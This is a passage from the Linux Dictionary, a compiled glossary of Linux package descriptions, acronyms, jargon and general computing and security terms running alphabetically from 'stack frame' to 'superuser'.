From Jargon Dictionary http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

stack frame

A "stack" in an underlying feature of programming languages like C/C++/Java. Normally, most programmers aren't even aware of the stack. It is important to infosec because subverting this hidden detail is one of the primary ways that hackers break into systems. Example: The following C code fragment shows an example of a stack overflowing: int validate_user() { char username[100]; http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

STACS

Symposium on Theoretical Aspects of Computer Science (conference) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

STAIRS

STorage And Information Retrieval System From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

stalin

An extremely aggressive Scheme compiler. stalin is an aggressive self−hosting Scheme compiler, designed to generate resource efficient stand−alone executables with very high computational performance. It is a batch mode compiler like gcc, not an interpreter, and is designed to be used only after your code has stabilized. It places a few limitations on the content of the source code. For example, you may not not LOAD or EVAL new expressions or procedure definitions at runtime, but in exchange, it is able to perform various global analyses which may allow it to transparently map Scheme types to C types and to use native C arithmetic operations on a per−expression basis, whenever such operations are proven safe. Further stalin can often reduce or eliminate run−time type checking and dispatching, and omit garbage collection for data of limited scope or accessability, while omitting unreachable data altogether. stalin also has a foreign procedure interface to both Xlib and OpenGL. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

Stallman, Richard

The founder of the GNU project, launched in 1984 to develop the free operating system GNU (an acronym for GNU's Not Unix"), and thereby give computer users the freedom that most of them have lost. GNU is free software: everyone is free to copy it and redistribute it, as well as to make changes either large or small. Richard Stallman is the principal author of the GNU C Compiler, a portable optimizing compiler which was designed to support diverse architectures and multiple languages. The compiler now supports over 30 different architectures and 7 programming languages. Stallman also wrote the GNU symbolic debugger (GDB), GNU Emacs, and various other GNU programs. From Linux Guide @FirstLinux http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

STAM

Shared−Time Allocation Manager From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

Stampede

Stampede is a development project whose goal is to create the definitive Linux distribution for novice and experienced users alike. It aims to be fast, stable, secure, and to create new innovations and spur new growth of the Linux operating system in a world otherwise saturated with bloated, yet feature−lacking distributions. Stampede development has been on hiatus since March 1, 2002. From LWN Distribution List http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

Standard Generalized Markup Language (SGML)

A means of describing markup languages, such as the HyperText Markup Language (HTML), the markup language widely used on the World Wide Web (WWW) . SGML is an open, international standard defined by the International Standards Organization (ISO). From QUECID http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

standard input

The default location where a user enters commands and values, such as a keyboard. From Redhat−9−Glossary http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

standard input

the source of information for a command. This is assumed to be the keyboard unless input is redirected or piped from a file or another command. From Linux Guide @FirstLinux http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

standard output

The default location where a computer displays or sends processed data, such as a terminal or console window. From Redhat−9−Glossary http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

standard output

the destination for information from a command. This is assumed to be the terminal display unless ouput is redirected or piped to a file or another command. From Linux Guide @FirstLinux http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

star

A fast posix−compliant tape archiver Star supports several tar archive formats (including ustar, GNU tar and new POSIX format). It's faster than other tar implementations due to advanced buffering. Star is also capable of archiving Access Control Lists, however this package is compiled without ACL support. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

STAR

Shareware Trade Association and Resources (org.) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

star

Star saves many files together into a single tape or disk archive, and can restore individual files from the archive. Star supports ACL. From Redhat 8.0 RPM http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

stardic

an English−Chinese dictionary software for Unix stardic is an English−Chinese dictionary software for Unix. It contains a vocabulary of about 50000 words, some with pronunciation in IPA (International Phonetic Alphabet). Features include rule match and fetching word from screen. It can display either simplified or traditional Chinese font. Home Page: http://www.cnshare.com/linux/tuijianindex.htm Author: Ma Su An <msa@wri.com.cn> From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

starplot

A 3−dimensional perspective star map viewer StarPlot is a GTK+ based program that can be used interactively to view three−dimensional perspective charts of stars. Charts can be re−centered, rotated, or zoomed in or out with a mouse click (this can also, of course, be done via dialog boxes for more precision). Stars may be viewed (or ignored) by spectral class and absolute magnitude. StarPlot is packaged with starconvert, a utility that converts line−oriented stellar data records to StarPlot format. Most star data files available on the Internet can be converted this way if a short file describing the original file format is provided to starconvert. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

STARS

Software Technology for Adaptable Reliable Systems From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

start−stop−daemon

start and stop system daemon programs From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

startalk

Read/Write Motorola StarTac Phone Book Entries via Serial A program with which you read and write entries in your Motorola StarTac PCS (CDMA) phone book For more info see: http://www.suspectclass.com/~sgifford/startalk/ From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

startx

initialize an X session From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

stat

wrapper for stat() and statfs calls Display all information about a file that the stat() call provides and all information about a filesystem that statfs() provides. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

statd (rpc.statd, NFS status daemon)

The rpc.statd service is a relatively obscure subsystem of the NFS protocol used primarily on UNIX. It is used so that if an NFS server crashes and comes back alive, it can notify clients that this event happened. Many important vulnerabilities have been found in rpc.statd. This means that while it is not so important to system administrators, it is very important to hackers. History: In 1998, Solaris systems across the Internet were broken into via rpc.statd due to a buffer overflow vulnerability (see Solar Sunrise). In 2000, Linux systems throughout the Internet were broken into via a format string vulnerability. From Hacking−Lexicon http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

state

n. 1. Condition, situation. "What's the state of your latest hack?" "It's winning away." "The system tried to read and write the disk simultaneously and got into a totally wedged state." The standard question "What's your state?" means "What are you doing?" or "What are you about to do?" Typical answers are "about to gronk out", or "hungry". Another standard question is "What's the state of the world?", meaning "What's new?" or "What's going on?". The more terse and humorous way of asking these questions would be "State−p?". Another way of phrasing the first question under sense 1 would be "state−p latest hack?". 2. Information being maintained in non−permanent memory (electronic or human). From Jargon Dictionary http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

stateful inspection

A firewall marketing buzzword, stateful inspection implies that the firewall is remembering stuff from previous packets when making the decision whether or not to forward/block the current packet. Stateful inspection is needed to pass classic FTP as well as newer multimedia protocols (NetMeeting, RealAudio, etc.). Example: Class FTP has a separate control connection and data connection. When you connect to an FTP server and request a file, you tell the server to connect back to you. Since most firewalls allow outgoing connections to servers but block incoming connections, you will be able to connect to the FTP server, but you won't be able to retrieve the desired file. Stateful inspection looks at the outgoing connection and notices that you've requested the incoming connection. The firewall opens up a tiny hole allowing just that inbound connection, thus fixing the entire situation. From Hacking−Lexicon http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

static

Relating to objects (such as system data or network addresses) that do not change; opposite of dynamic. From Redhat−9−Glossary http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

static files

Files (such as system configuration files and binaries), that do not change without an action from the system administrator or an agent that the system administrator has allowed to accomplish the task. From Redhat−9−Glossary http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

static library

A library where the code needed by the program modules are copied directly into the executable output file. On Linux, static libraries have names like libname.a. They make for larger executables than a shared library. From Linux Guide @FirstLinux http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

statnews

Extracts some useful statistics out of a newsgroup. This program may be useful to analyze newsgroups with respect to authors, messages length and frequency, and so on. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

statserial

Displays serial port modem status lines Statserial displays a table of the signals on a standard 9−pin or 25−pin serial port, and indicates the status of the handshaking lines. It can be useful for debugging problems with serial ports or modems. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

statserial

The statserial utility displays a table of the signals on a standard 9−pin or 25−pin serial port and indicates the status of the handshaking lines. Statserial is useful for debugging serial portand/or modem problems. From Redhat 8.0 RPM http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

stax

collection of puzzle games similar to Tetris Attack. Another way of playing Tetris and some other cool puzzle games. Multiplayer feature and themes. Have fun ;) From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

STB

Software Technical Bulletin From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

STC

Science and Technology Center (NSF, USA) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

STC

Secure Transaction Channel (banking, V−One, cryptography) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

STC

SeT Carry [flag] (assembler) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

STC

Standard Transmission Code From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

STC

Sub−Technical Committee (ETSI) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

STCIUR

Sub−Technical Committee International User Requirements (ETSI), "STC IUR" From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

STD

Secondary Transmitted Data From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

STD

SeT Direction [flag] (assembler) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

STD
State Transition Diagram From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

STD
Subscriber Trunk Dialing From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

STD
Suspend To Disk (BIOS, ACPI) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

STDA
StreetTalk Directory Assistance (Banyan, VINES) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

STDERR
Standard error. A special type of output used for error messages. The file descriptor for STDERR is 2. http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

STDIN
STandarD INput From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

STDIN
Standard input. User input is read from STDIN. The file descriptor for STDIN is 0. http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

STDM
Synchronous Time Division Multiplexer From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

STDOUT
STandarD OUTput From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

STDOUT
Standard output. The output of scripts is usually to STDOUT. The file descriptor for STDOUT is 1. http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

STE
Section Terminating Equipment (SONET) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

STE
Secure Terminal Equipment From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

STE
Spanning Tree Explorer From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

STE
Standard Terminal Equipment From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

sted
Small/Stupid Text Editor. sted, which is an abbreviation for Small/Stupid (you choose) Text Editor, is a small and/or stupid text editor. So far it doesn't do much. You can edit files, load them and save them. sted has a lot of limitations that you'll probably find quite annoying. It doesn't work very well in an xterm. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

sted2
a fast, functional MIDI sequencer STed2 is an open−source MIDI sequencer for Un*x/X platforms. Originally written by the late Takayuki "TURBO" Toda for SHARP X680x0 personal workstation series, it's now ported to GNU/Linux and fully works on ncurses and X! The most distinctive feature of STed2 is its inputting method. STed2 supports "step" inputting, which enables you to input MIDI data incredibly fast. Also supports real−time recording via /dev/midi. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

steganography
: The practice of hiding one piece of information inside of another. The most common example is watermarking. From Linux Guide @FirstLinux http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

Steganography
: The practice of hiding one piece of information within another. One example is putting an invisible digital watermark in a digitized photograph. From I−gloss http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

steganography (stegano, TRANSEC)
: In cryptography, steganography refers of not only obfuscating (encrypting) data, but hiding the fact that it even exists. In communications, stegano describes hiding the fact that an attempt has been made to communicate in the first place. History: In ancient times, a messenger would be shaved, then the message would be tattooed onto the skull. The hair would be allowed to grow back in, then the messenger was sent on his way. The recipient would then shave the messenger again in order to retrieve the message. From Hacking−Lexicon http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

steghide
: A steganography tool Steghide is steganography program which hides bits of a data file in some of the least significant bits of another file in such a way that the existence of the data file is not visible and cannot be proven. Steghide is designed to be portable and configurable and features hiding data in bmp, wav and au files, blowfish encryption, MD5 hashing of passphrases to blowfish keys, and pseudo−random distribution of hidden bits in the container data. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

STEP
: STandard for the External representation / Exchange of Product data definition (ISO, DP 10303, CAD) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

stereograph
: stereogram generator Stereograph is a stereogram generator. In detail it is a single image stereogram (SIS) generator. That is a program that produces two−dimensional images that seem to be three−dimensional (surely you know the famous works of "The Magic Eye", Stereograph produces the same output). You do _not_ need any pair of colored spectacles to regard them − everyone can learn it. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

STFT
: Short Time Fourier Transformation From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

STI
: SeT Interrupt [flag] (assembler) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

STI
: Standard Tape Interface From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

STII
: [internet] STream protocol II (RFC 1819) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

STING
: Software Technology Interest Group (CERN, org.) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

STIX
: SmallTalk Interface to X (GNU) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

stklos

An efficient Scheme System providing a powerful Object System Based on an ad−hoc Virtual Machine, STklos can also be compiled as a library, so that one can easily embed it in an application. The salient points of STklos are: * efficient and powerful object system based on CLOS providing − Multiple Inheritance, − Generic Functions, − Multi−methods − an efficient MOP (Meta Object Protocol) * a simple to use module system * implements the full tower of numbers defined in R5RS * easy connection to the GTK+ toolkit From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

STL

Standard Template Library From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

STLP

Secure Transport Layer Protocol From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

STM

Synchronous Transfer Mode (ATM) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

STM

System Master Tape From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

STM1

Synchronous Transport Mode 1 (ATM, STM) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

STN

Scientific and Technical Network (network, JICST, FIZ) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

STNLCD

SuperTwisted Nematic Liquid Crystal Display (LCD), "STN−LCD" From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

STOC

Symposium on Theory Of Computing (conference) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

STONE

STructured and OpeN Environment (FZI Karlsruhe, Germany) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

stone

TCP/IP packet repeater in the application layer. TCP/IP packet repeater in the application layer. It repeats TCP and UDP packets from inside to outside of a firewall, or from outside to inside. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

stone−ssl

TCP/IP packet repeater in the application layer.(SSL) TCP/IP packet repeater in the application layer. It repeats TCP and UDP packets from inside to outside of a firewall, or from outside to inside. This package was built with SSL support. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

stonith

Interface for remotely powering down a node in the cluster. The STONITH module (a.k.a. STOMITH) provides an extensible interface for remotely powering down a node in the cluster. The idea is quite simple: When the software running on one machine wants to make sure another machine in the cluster is not using a resource, pull the plug on the other machine. It's simple and reliable, albeit admittedly brutal. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

stopafter

kill commands after a given time Run the given command, killing it with a SIGHUP or other signal after a specified amount of time. It forks a child process to kill the parent process and any children if still present. Package also includes the pushafter utility, which waits for a specified time before running the given command. Useful when managing global IRC networks via ssh, as in: pushafter 30s stopafter 600 hup ssh −n −l dancer $host uname −a From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

STORM
Statistically−Oriented Matrix Program From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

stormpkg
Storm Package Manager Storm Package Manager is a GNOME−based user−friendly replacement for the console−based package manager "dselect". Many useful features are available, such as full dependency management, APT source list editing, and package list filtering. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

stow
Organiser for /usr/local/ hierarchy GNU Stow helps the system administrator organise files under /usr/local/ by allowing each piece of software to be installed in its own tree under /usr/local/stow/, and then using symlinks to create the illusion that all the software is installed in the same place. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

STP
Selective Tape Print From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

STP
Service Transaction Program (IBM) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

STP
Shielded Twisted Pair [cable] (TP) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

STP
Signaling Transfer Point (IN) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

STP
Software Technology Park From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

STP
Software Through Pictures, "StP" From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

STP
Spanning Tree Protocol (IEEE 802.1) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

STP
System Training Program From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

STR
Synchronous Transmit Receive From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

strace
A system call tracer. strace is a system call tracer, i.e. a debugging tool which prints out a trace of all the system calls made by a another process/program. The program to be traced need not be recompiled for this, so you can use it on binaries for which you don't have source. System calls and signals are events that happen at the user/kernel interface. A close examination of this boundary is very useful for bug isolation, sanity checking and attempting to capture race conditions. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

strace
The strace program intercepts and records the system calls called and received by a running process. Strace can print a record ofeach system call, its arguments and its return value. Strace is useful for

diagnosing problems and debugging, as well as for instructional purposes. Install strace if you need a tool to track the system calls made and received by a process. From Mandrake 9.0 RPM http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

strace
trace system calls and signals From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

streamer
capture tool (images / movies) A tool to capture single/multiple images or record movies from a video4linux device. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

String
A sequence of characters, as in a "search string". From I−gloss http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

string
In computer usage in general, a sequence of characters. From Linux Guide @FirstLinux http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

strings
print the strings of printable characters in files. From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

strip
Discard symbols from object files. From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

stripchart
2D strip chart for plotting x and y coordinate data. From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

stroke
n. Common name for the slant (`/', ASCII 0101111) character. See ASCII for other synonyms. From Jargon Dictionary http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

structured programming
A set of quality standards that make programs more verbose but more readable, reliable, and easily maintained. The goal of structured programming is to avoid spaghetti code caused by overreliance on GOTO statements, a problem often found in BASIC and FORTRAN programs. Structured programming−such as that promoted by C, Pascal Modula−2, and the dBASE software command language − insists that the overall program structure reflect what the program is supposed to do, beginning with the first task and proceeding logically. Indentations help make the logic clear, and the programmer is encouraged to use loops and branch control structures and named procedures rather than GOTO statements. From QUECID http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

STS
Synchronous Time Stamps From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

STS
Synchronous Transport Signal From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

STS3C
Synchronous Transport System − level 3 Concatenated, "STS−3c" From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

STT
Secure Transaction Technology (MS, banking) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

STT
Surface Tunnel Tansistor (IC, DRAM, NEC) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

STTL
: Standard Transistor−Transistor Logic (TTL) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

stty
: change and print terminal line settings From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

stty
: unimplemented system calls From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

STU
: Secure Telephone Unit From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

stunnel
: Stunnel is a socket wrapper which can provide SSL (Secure Sockets Layer) support to ordinary applications. For example, it can be used in conjunction with imapd to create an SSL secure IMAP server. From Redhat 8.0 RPM http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

stunnel
: Universal SSL tunnel for network daemons The stunnel program is designed to work as SSL encryption wrapper between remote client and local (inetd−startable) or remote server. The concept is that having non−SSL aware daemons running on your system you can easily setup them to communicate with clients over secure SSL channel. stunnel can be used to add SSL functionality to commonly used inetd daemons like POP−2, POP−3 and IMAP servers without any changes in the programs' code. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

STV
: Sprint Telecommunications Venture (org.) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

STX
: Start of TeXt From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

su
: Change user ID or become super−user From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SU
: Screening Units From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SU
: Selectable Unit From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SU
: Signalling Unit From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SU
: Storage Unit From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SU
: Switch User (Unix) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

su−to−root
: A simple script to give an `interactive' front end to su. It can be used in menu entry commands to ask for the root password From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SUA
: Single User Account [feature] (Internet, NAT) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

subdirectory
: A directory within a directory in a hierarchical file system. From Redhat−9−Glossary http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

subnet

Network nodes that are related by the same IP address range. For example, computers with an address beginning with 192.168.1.x are in the same subnet. From Redhat−9−Glossary http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

subnet mask

A 32−bit address used in conjunction with an IP address to segment network traffic; used to restrict transmissions to certain subnets. From Redhat−9−Glossary http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

subterfugue

Tool for subverting programs−−"strace meets expect" SUBTERFUGUE is a framework for observing and playing with the reality of software; it's a foundation for building tools to do tracing, sandboxing, and many other things. You could think of it as "strace meets expect." [requires 2.4 kernel] From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

suck

Small newsfeed from an NNTP server with standard NNTP commands. This package contains software for copying news from an NNTP server to your local machine, and copying replies back up to an NNTP server. The suck/rpost combination allows you to run your own INN/CNEWS site, controlling where you get your news, and where you post outgoing articles. Suck/rpost use only standard NNTP commands that are used by your favorite news reader (like tin, knews, trn) such as POST and ARTICLE. If you can use tin or knews against a NNTP site, than you can use Suck/Rpost and have multiple site feeds. NOTE: Suck will not work with obsolete NNTP servers that can't handle the xhdr command. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

sudo

Provides limited super user privileges to specific users. Sudo is a program designed to allow a sysadmin to give limited root privileges to users and log root activity. The basic philosophy is to give as few privileges as possible but still allow people to get their work done. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

sudo

Sudo (superuser do) allows a system administrator to give certain users (or groups of users) the ability to run some (or all) commands as root while logging all commands and arguments. Sudo operates on a per−command basis. It is not a replacement for the shell. Features include: the ability to restrict what commands a user may run on aper−host basis, copious logging of each command (providing a clear audit trail of who did what), a configurable timeout of the sudo command, and the ability to use the same configuration file (sudoers) on many different machines. From Redhat 8.0 RPM http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SUDS

Software Update and Distribution System From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

sufary

Full−text searching tools using suffix array. SUFARY is a very powerful indexing and query system using suffix array. SUFARY can handle one file at a time, and so not suited for searching a word from many files. CAUTION: Documentation for sufary is written in Japanese. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

sufary−tcltk

Tcl/Tk interface for SUFARY. This packages provides kwicview, a Tcl/TK based GUI for array which is a searching program of the SUFARY system. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SUG

Sun User's Group (org., Sun, user group) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SUGA

Swedish User Group of Amiga (user group, Sweden) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SUGD

Sun User's Group Deutschland (Sun, org., user group) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SUID

Set User ID: a file attribute which allows a program to run as a specific user no matter who executes it. From Linux Guide @FirstLinux http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SUID (set user ID)

The SUID permission causes a script to run as the user who is the owner of the script, rather than the user who started it. It is normally considered extremely bad practice to run a program in this way as it can pose many security problems. Later versions of the Linux kernel will even prohibit the running of shell scripts that have this attribute set. http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

suidmanager

Manage File Permissions This package previously managed permissions of files. However, the dpkg−statoverride command is the new way to do that. This package now exists only as a transition package. When it is installed, it will import the old suidmanager database into dpkg−statoverride's database. After that, it may be freely removed. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

sulogin

Single−user login From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

sum

checksum and count the blocks in a file From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SUMC

Space Ultrareliable Modular Computer (RCA) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

sunclock

Fancy clock showing time and geographical data sunclock is an X11 application that displays a map of the Earth and indicates the illuminated portion of the globe by drawing sunlit areas dark on light, night areas as light on dark. In addition to providing local time for the default timezone, it also displays GMT time, legal and solar time of major cities, their latitude and longitude, and the mutual distances of arbitrary locations on Earth. Sunclock can display meridians, parallels, tropics and arctic circles. It has builtin functions that accelerate the speed of time and show the evolution of seasons. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SUNET

Swedish University NETwork From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SUNOS

SUN Operating System (Sun, OS, SPARC), "SunOS" From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SUNVIEW

SUN's Visual Integrated Environment for Workstations (Sun, GUI) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

sup

Software Upgrade Protocol implementation The SUP System is a set of programs developed by Carnegie Mellon University that provide for collections of files to be maintained in identical versions across a number of machines. These programs are: SUP: The "client" program, run by users or system maintainers, which initiates the upgrade activity on a machine requesting the latest version of a collection of files. SUP will normally be run as a daemon, firing up once each night (week, etc.) to upgrade the specified file collections. SUPFILESRV: The "file server" program, a daemon that is run by the system maintainer to service requests for files initiated by client SUP programs. The file server runs on every machine used as a "repository" of distributable versions of files. It runs continuously and listens for network connection requests by individual client processes; for each individual client request, a process is forked to service that request. SUPSCAN: The "file scanner" program, that may optionally be run periodically to speed up execution of the file server. It pre−compiles a list of files on the file system that match the specifications for a given file collection so that the file server need not do this during each upgrade of that collection. The file scanner is normally used daily for very large file collections that are upgraded by many clients each day; it is not so useful for small file collections or for those that are upgraded by only a few client machines per day. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

super

Execute commands setuid root Super allows specified users to execute scripts (or other commands) as if they were root; or it can set the uid and/or gid on a per−command basis before executing the command. It is intended to be a secure alternative to making scripts setuid root. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

superd

Single−port inetd with pre−forking, suited for high−speed servers. superd turns any program that normally talks to stdin and stdout into a high speed server. It's similar in functionality to inetd but it handles only one port per invocation. It uses pre−forking and file descriptor passing to achieve high performance. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

superfluous pieces of additional mail (SPAM)

Unwanted and unsolicited email received by a user that usually does not know the sender and never requested the communication. From Redhat−9−Glossary http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

superformat

format floppies TQ From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SuperRescue

SuperRescue is a single very large bootable system−on−a−disk. It's based on the observation that the vast majority of systems allow you to do so much more than the minimal system. Therefore, it isn't for everything, but for most desktop systems, it provides a much nicer rescue environment than your average rescue floppy. This version furthermore uses transparent compression to fit about 1.4 GB of software onto a single CD in usable form. A CD−based distribution. From LWN Distribution List http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

superuser

An informal name for root. From Linux Guide @FirstLinux http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

superuser

